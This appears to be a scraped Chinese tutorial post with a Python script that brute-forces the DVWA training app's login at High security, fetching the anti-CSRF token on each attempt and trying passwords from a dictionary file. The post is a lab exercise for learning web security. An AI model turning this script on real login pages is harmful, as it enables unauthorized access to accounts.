Brute Force-python

來源:互聯網
上載者:User

標籤:beautiful   wow   .text   hidden   uri   exce   one   ppa   擷取   

本篇文章主要圍繞DVWA滲透測試平台,暴力破解-High層級

分析部分略去,直接上指令碼代碼:

coding:utf-8#author:freemimport requestsfrom bs4 import BeautifulSoupimport urllibheader={‘Accept‘: ‘text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8‘,‘Accept-Encoding‘:‘gzip, deflate‘,‘Accept-Language‘:‘zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3‘,‘Cookie‘:‘security=high; PHPSESSID=5jr7egbt0r324aklohb699u2q1‘,‘Host‘:‘192.168.207.129‘,‘Referer‘:‘http://192.168.207.129/DVWA/vulnerabilities/brute/index.php‘,‘Upgrade-Insecure-Requests‘:‘1‘,‘User-Agent‘:‘Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0‘,‘Connection‘: ‘keep-alive‘} #headersdef get_content(request_url,headers): #用於請求    try:        if request_url is None:            return ""        response=requests.get(request_url,headers=headers,timeout=20)        response.raise_for_status()        response.encoding=response.apparent_encoding        return response.text        # print(len(response.text))        # print(response.text)    except :        print("Please be careful of exception!")        print(requests.ConnectionError.strerror)def get_detail(url):    try:        if url is None:            return ""        response=requests.get(url,timeout=20)        response.raise_for_status()        response.encoding=response.apparent_encoding        return response.text        # print(response.text)    except :        print("Please be careful of exception!")        print(requests.ConnectionError.strerror)def get_taken(url,content):  #用於擷取    if url is None or content is None:        return None    soup=BeautifulSoup(content,‘html.parser‘)    taken=soup.find(‘form‘).find(‘input‘,type="hidden")    # print(taken)    user_taken=taken[‘value‘]    # print(type(user_taken))    return user_takendef brute_force(user_taken,passwd,successful_check,header):  #單個頁面破解    brute_url=‘http://192.168.207.129/DVWA/vulnerabilities/brute/?username=admin&password=123456789&Login=Login&user_token=‘+user_taken    brute_page=requests.get(brute_url,headers=header).text    # print(brute_page)    if successful_check in brute_page:        print("username:admin\n+password:"+passwd+"\n brute_force successufl!")    else:        print("failed ~~~~~~~~")def brute_force_dir(user_taken,file,successful_check,header): #字典破解    with open(file,‘r‘) as f: #開啟字典檔案        for line in f:            passwd=line  #每次讀取一行,並且賦值給passwd作為密碼,帶入url            brute_url=‘http://192.168.207.129/DVWA/vulnerabilities/brute/?username=admin&password=‘+passwd.strip()+‘&Login=Login&user_token=‘+user_taken            print(brute_url)            brute_page=get_content(brute_url,header)            user_taken = get_taken(brute_url, brute_page) #或許當前user_taken 值            # print(user_taken)            print(len(brute_page))            if successful_check in brute_page:   #如果匹配成功,給出成功提示                print("username:admin\npassword:"+passwd+"\n brute_force successufl!")            else:                print("username:admin\npassword:"+passwd+"\n brute_force faild~~") #匹配失敗url=‘http://192.168.207.129/DVWA/vulnerabilities/brute/‘successful_check="Welcome to the password protected area"content=get_content(url,header)print(len(content))# print(content)user_taken=get_taken(url,content)password="ppp.txt" #字典檔案ppp.txt# password="123456789"# brute_force(url,user_taken,password,successful_check,header)brute_force_dir(user_taken,password,successful_check,header)

結果如下:

 

Brute Force-python

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.